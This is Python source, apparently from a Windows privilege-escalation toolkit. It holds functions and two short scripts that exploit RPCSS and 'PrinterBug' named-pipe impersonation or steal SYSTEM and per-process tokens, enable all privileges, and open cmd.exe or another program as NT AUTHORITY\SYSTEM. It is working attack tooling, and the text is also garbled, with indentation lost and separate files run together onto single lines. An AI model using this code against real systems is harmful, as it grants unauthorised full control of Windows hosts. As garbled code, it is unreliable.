def rpcss(args):
printT("Trying to exploit 'RPCSS'...")
printT("It can take many seconds, so wait...")
esc = Escalation()
status = esc.namedPipeImpersonationSystemViaRPCSS()
if status == True:
imp = Impersonate()
imp.enableAllUserRights()
imp.executeCMDWithThreadEffectiveToken()
else:
logging.error("Impossible to exploit 'RPCSS'")
def searchimpfirstsystem(args):
'''
Impersonate the first system token which is available and prompt a cmd.exe.
:param args:
:return: True if success, otherwise false
'''
printT("Searching and impersonating first nt authority\\system token...")
imp = Impersonate()
status = imp.searchAndImpersonateFirstSystemToken(targetPID=args['pid'],
printAllTokens=False)
if status == True:
imp.enableAllUserRights()
imp.executeCMDWithThreadEffectiveToken()
printT("cmd.exe prompt started as system")
return True
else:
logging.error("Impossible to prompt a cmd.exe as system.")
return False
def imppid(args):
if args['pid'] == None:
logging.error("A pid has to be selected")
else:
printT("Impersonating primary token of pid {0}".format(args['pid']))
imp = Impersonate()
imp.enableAllUserRights()
status = imp.impersonateViaPID(pid=args['pid'])
if status == True:
printT("Trying to open a cmd shell...")
printT(
"NOTICE: If not enough privileges for targeted pid, you can't open a cmd.exe shell"
)
imp.printCurrentThreadEffectiveToken()
imp.enableAllUserRights()
imp.executeCMDWithThreadEffectiveToken()
else:
logging.error("Impossible to impersonate")
# -*- coding: UTF-8 -*- # By Quentin HARDY ([email protected]) - bobsecq import sys sys.path.append('../') from utils import * configureLogging() from escalation import Escalation from impersonate import Impersonate esc = Escalation() esc.namedPipeImpersonationSystemViaPrinterBug() imp = Impersonate() imp.enableAllUserRights() #Not necessary but we can do it, we do it imp.executeCMDWithThreadEffectiveToken()
# -*- coding: UTF-8 -*- # By Quentin HARDY ([email protected]) - bobsecq import sys sys.path.append('../') from utils import * configureLogging() from escalation import Escalation from impersonate import Impersonate import subprocess import time esc = Escalation() esc.namedPipeImpersonationSystemViaRPCSS() imp = Impersonate() imp.enableAllUserRights() #required, othwerwise not enough privileges imp.executeWithThreadEffectiveToken(appName=sys.argv[1])